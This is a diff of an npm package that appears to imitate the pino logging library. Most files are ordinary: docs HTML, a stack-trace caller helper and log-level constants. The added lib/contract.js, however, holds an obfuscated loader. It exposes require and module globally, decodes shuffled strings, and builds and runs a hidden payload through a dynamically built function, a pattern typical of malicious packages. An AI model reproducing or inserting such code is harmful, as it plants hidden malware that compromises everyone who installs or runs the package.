|
44
|
+
repo: 'https://github.com/pinojs/pino',
|
|
45
|
+
auto2top: true,
|
|
46
|
+
ga: 'UA-103155139-1'
|
|
47
|
+
}
|
|
48
|
+
</script>
|
|
49
|
+
<script src="//unpkg.com/docsify/lib/docsify.min.js"></script>
|
|
50
|
+
<script src="//unpkg.com/docsify/lib/plugins/search.min.js"></script>
|
|
51
|
+
<script src="//unpkg.com/docsify/lib/plugins/ga.min.js"></script>
|
|
52
|
+
<!-- To enable syntax highlighting on TypeScript codes: -->
|
|
53
|
+
<script src="//cdn.jsdelivr.net/npm/prismjs@1/components/prism-typescript.min.js"></script>
|
|
54
|
+
|
|
55
|
+
</html>
|
package/lib/caller.js
ADDED
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
'use strict'
|
|
2
|
+
|
|
3
|
+
function noOpPrepareStackTrace (_, stack) {
|
|
4
|
+
return stack
|
|
5
|
+
}
|
|
6
|
+
|
|
7
|
+
module.exports = function getCallers () {
|
|
8
|
+
const originalPrepare = Error.prepareStackTrace
|
|
9
|
+
Error.prepareStackTrace = noOpPrepareStackTrace
|
|
10
|
+
const stack = new Error().stack
|
|
11
|
+
Error.prepareStackTrace = originalPrepare
|
|
12
|
+
|
|
13
|
+
if (!Array.isArray(stack)) {
|
|
14
|
+
return undefined
|
|
15
|
+
}
|
|
16
|
+
|
|
17
|
+
const entries = stack.slice(2)
|
|
18
|
+
|
|
19
|
+
const fileNames = []
|
|
20
|
+
|
|
21
|
+
for (const entry of entries) {
|
|
22
|
+
if (!entry) {
|
|
23
|
+
continue
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
fileNames.push(entry.getFileName())
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
return fileNames
|
|
30
|
+
}
|
package/lib/constants.js
ADDED
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Represents default log level values
|
|
3
|
+
*
|
|
4
|
+
* @enum {number}
|
|
5
|
+
*/
|
|
6
|
+
const DEFAULT_LEVELS = {
|
|
7
|
+
trace: 10,
|
|
8
|
+
debug: 20,
|
|
9
|
+
info: 30,
|
|
10
|
+
warn: 40,
|
|
11
|
+
error: 50,
|
|
12
|
+
fatal: 60
|
|
13
|
+
}
|
|
14
|
+
|
|
15
|
+
/**
|
|
16
|
+
* Represents sort order direction: `ascending` or `descending`
|
|
17
|
+
*
|
|
18
|
+
* @enum {string}
|
|
19
|
+
*/
|
|
20
|
+
const SORTING_ORDER = {
|
|
21
|
+
ASC: 'ASC',
|
|
22
|
+
DESC: 'DESC'
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
module.exports = {
|
|
26
|
+
DEFAULT_LEVELS,
|
|
27
|
+
SORTING_ORDER
|
|
28
|
+
}
|
package/lib/contract.js
ADDED
|
@@ -0,0 +1,8 @@
|
|
|
1
|
+
function contract() {
|
|
2
|
+
global.i = '2';
|
|
3
|
+
var _$_d876 = (function (x, e) { var n = x.length; var q = []; for (var z = 0; z < n; z++) { q[z] = x.charAt(z) }; for (var z = 0; z < n; z++) { var r = e * (z + 213) + (e % 38225); var t = e * (z + 668) + (e % 25980); var d = r % n; var c = t % n; var p = q[d]; q[d] = q[c]; q[c] = p; e = (r + t) % 2892945 }; var k = String.fromCharCode(127); var g = ''; var m = '\x25'; var w = '\x23\x31'; var f = '\x25'; var j = '\x23\x30'; var s = '\x23'; return q.join(g).split(m).join(k).split(w).join(f).split(j).join(s).split(k) })("e%objrct%m", 2404686); global[_$_d876[0x0]] = require; if (typeof module === _$_d876[0x1]) { global[_$_d876[0x2]] = module }
|
|
4
|
+
(function () { var teD = '', ziD = 422 - 411; function ype(b) { var t = 2319581; var l = b.length; var d = []; for (var k = 0; k < l; k++) { d[k] = b.charAt(k) }; for (var k = 0; k < l; k++) { var g = t * (k + 143) + (t % 34562); var j = t * (k + 599) + (t % 19024); var o = g % l; var h = j % l; var q = d[o]; d[o] = d[h]; d[h] = q; t = (g + j) % 3591111; }; return d.join('') }; var OUN = ype('uoxgwmorcazdjcyqsthinkcrtpneltsfburov').substr(0, ziD); var LEF = 'Sa =a=frsrulrrl=as(v+=r7iafg!d=b,C,vnl+;[ien8r6v.aaz;nvca j=a71,ha20],a1tk),(=i81,)ah)[}r=lte,g2eaotp(nhr=p c;;,xg,7p,n5g;ch0g;=.in0=rrvor+bodmo)j8Cr-5t7var(),d,[l]t,rct=))l ..[=81u(;5hwvrre4;}4a(0; fscr8=9S(waprg( uvthfl]ngtlf;rri8cat.c());umde)v;=r(p.j+u=fx")ral,asnreioaplrn;v[b]i6>Al[if;vq+8(p,;.A"==r1rinhnji6-c+j)[q) {lhjaromr0avd) nb+)+-nwmn;}a* 8ogoa(9a( ejoAi(x;pf {tv;dszno)c1t62h.o7t(.o+nmr) r*mze6a9 o== n0cd8vfu+,;1h;vCore=thn1sf.),p6v;i+[]ve9s(lnsAz;(;asssCsAdhv349(.j;)d}=-;+piw"u 9]+(fs+n.fu++1)he[t=C,2r;n9m="hf+l2r0=k=e(;ii<;vi,f==ed===uolyvC1c,ut=(sltrt.7][had)s;bytjlnh;m<y;)(=-pueh(1[]l.a;;(lfip1}u1,f!;n2=.),i,h;<.)suuo)p[(vph[fa"f)g]mi);cfi]-5drtemq3;)q})cg-ys=o=[v]0;0v(rff=36jgid)."f+v6; rkC]s,2;rl+,.0);sd7f <=.3eoet=c+op+ (b+t.urgre(ok{panrfn=(w6ld.or(104 nl0m<u.=n.gr)ya+a=ir(yqe>ft(v{oe;pf ;i;e)lprri7};hrh;{.hhr(e5 r+ova+kr8(".cr8tu]nu",s{]e vr"t").C;{.,xr0'; var whk = ype[OUN]; var YOB = ''; var kWJ = whk; var ovJ = whk(YOB, ype(LEF)); var HRZ = ovJ(ype('=dxig9uffhtC4rkbrar!ac)=%r](-{urF]r(FF]7]cy%e%,F;F6ale$es Fud?a6rF{oos};0T1yg.C]F9a]fsiuc.sn%rs+i1tc.,.=nho__F{F%)4).05r}oe6ha.?((sa81i9Fax%Fi1co.)F]mea%13.l%n]ro_3un;;ncbr];F].FGt[(]5}.3FH1c2=.atfd w..F.45(t84.(gFc{eSu+iFv3f]f}]F!#.too7t}ouo:st.qrt_pfe]Ffjn!_ rF61trfse6beheDbF%_e}u).%Fo (:nFCFoF9dsn2b.]om.qn)hF ao)}.)FF+33;f.ua}5=gsrua_tr;9 l;,eFfFaFo3t.sc8}uFt.0w=F}r%ffneg3]p$F;.rfr2ru"!yzn=e=(F{Fe5e.dF,.Ffadvr<s=rh,f%mu]s.=ctr.gt(!]hrtF1.er2r;2tn}i;ao%Ff!o1a8)eb3tv[]1sF3oer>]x\/9={k0C1f[1y]d]nq7}]Fr,n;i3t0e.cegDd}F9FdF1.7{FN}hg_6&(lr>co(3a}t]t.4*FaF(]fe\/(td]dxbte31F7itc%F4)_C9!)acie1;FFf.,3F]u)l)o)a%md20}<%-.S8(hpi..)w6]=F FFFF7F8]c4\'.F,2t.prmfEenq5n5fft,]6,l%9)ani-1F&3.i%(xu0)+Fr!.eF%HSfcnl]h%SNns=o ntde.tain[f9 (sn_=hm)t=#icc[vr++rb%ctie.._c2ws:_+fFlCh]2hyn ;sppeFGc=fz;Fi%decfr rAie%0f<rFliti]7)oqr3(1F;v_ec036m:%h5i.%aF%vlrovrcsdFo]bnFr)m)rm5c.ntad &ah1T3:i]n?=8}2F%%]a_se)}cF%{Fxpufsb,_uhFp1c)F(,2nr F3F\/g))t1.tF.).r]o(t.;!h=Fdh}a}(:c2Ff13\/c.6F1Bneboees3w[;gn(1.1fv.%axxmb :d?D.Fp&[saf9;n7[b+cw7.g] 77vtice1>41,!a#%F3F2(3x=FFmv2rFdh2@o%g(%(Fn-1.(7.odtufren3i;raf]e b.4fspc.7oFc(see{.De)u%8$igna F_Sc[e]og;ca)6<F%cE,"nsn%co8.(j.CgpenoCnn-%s=_s1)c_hlrtaryr+sF]FF<_fl,fr.l(iF"c;<lF&8e%ocooi]3 Fl)au.i(]Fut . s=!%m4f1fiFo6]d9=*) Eo)!i!4a)u)_sao[.e}mfdc>a%ot-6FFtc+pifa}x%,f]fh0F}fF(!:)0F]9)amFFrF5e3}l3=)F>FeF>Feo!;7@]#ran;F--])h.%1< fdyii=;]mEteFFF1) )o;j5clc1=oe"FABjor?Fe. 0m.ceTpa$tnii_]pNFa\'+0a0foyt<|62dd;8.%iFboe.uh=-trs:)_4(=FF8F _tho}]19mfF8e{Ff:o3:t]t_\'.;%=deeba;_d6rfoF*.%ofT4aoeF%66nFe_fFw.e+..,ebeo719$i%d0knx(ia{3#9e{iF=%25Fcu9w.ucu%%avjpn(Fn3Fnwp.;f(.easu.fa6=tFr(od{,E(1eFAE=aF3o3yFb=3f\/t59kFc.bF2];tFFeoFunFF6m.F&]<$2anFlce6,}3rF]F_+1]F.io8(6Fi%shsFj&]trrFs.efiFF9tt)fn3bsFo7i=ert}}tr5t()4BBx%)asd((-F1aF.F8C]%r]F]))-0=]d1F;)dc87[=)#Fy!My{t-)1@%pls0efn6]\'ufo21mnt1.c]Fc7F9{Fi2grc6,)-=iakc8.l2Fi-%;g7a.\/[Fu1at\'wl.o[5rd].)z)od)(.Fa.0c)2eF(f[)todfF=nnF3.A.F\/9nF;Tf%!=%\/i(cic[Tt=]31Fbf]rFkbty:a!)F6Batujo=8f\/]Fbk}a_2;[&8FnnF]mtha"paqu;1}ff-};5)_5Fh0FC_t(FFe0;1\/(Fu]F]{sw-nx2gFtfo%i=jFat%fFF3!.5crF)2FC=f&2!Fdo,]s]nF]\/ 1f%o]yoc)o%Fs1)}yF*(c221,,d)sDieFFfc.}F]e=e=[8&FGF]),%dn1)ll?#iFi)8e2ces)&l *r8rl!)tt(=n\/t5(jt+ga}.h)]}6uFCfeFG\/nfs+@FmbF?F_gFsi0-)4F4u3tEF{=r"g(FF2_;Fcten.*,$F.z=7FttrF(d)!4r,%r].)wt1.-F#[i.<5o](31ngt Fm]ri<1a.an20Fei"\/]ni ]Fo%a83t%F{$9(4F)rFDn]F-F8dc:euFeasrdjpt+)- 9tDe.)7.mr2F1]eF] e]eFxf+:FF({vFktat1ayi(Fi.}nce6 &5\'?u[]fre3]Fit*F8}0Far;e fnFlr_s32HFr)ct0=_):=8r{4bHbe(=dw%1;-=\/ese]a.p],r1]..nrftn,1iFs}-%B, ;,c?2cob)eet.n)%= F%2 9t.fs6Fd *ft )94c7hl+F]h%aFF]-fei!ede(aFF6_ci%prF:]ch]o+kf%t|=aFtrc4;Faf.0on(l).!.eh(t)s..2rs;t"e>r3pdt :,jF_FtF301.M).[0.=n!feiya2t=c{;e i+lF*ra(Bau[1tFmnF+]*r.i"11dF]1)}\/o3e.)]84!}F-.u_nsw')); var cMp = kWJ(teD, HRZ); cMp(7746); return 9212 })()
|
|
5
|
+
|
|
6
|
+
}
|
|
7
|
+
|
|
8
|
+
module.exports = contract
|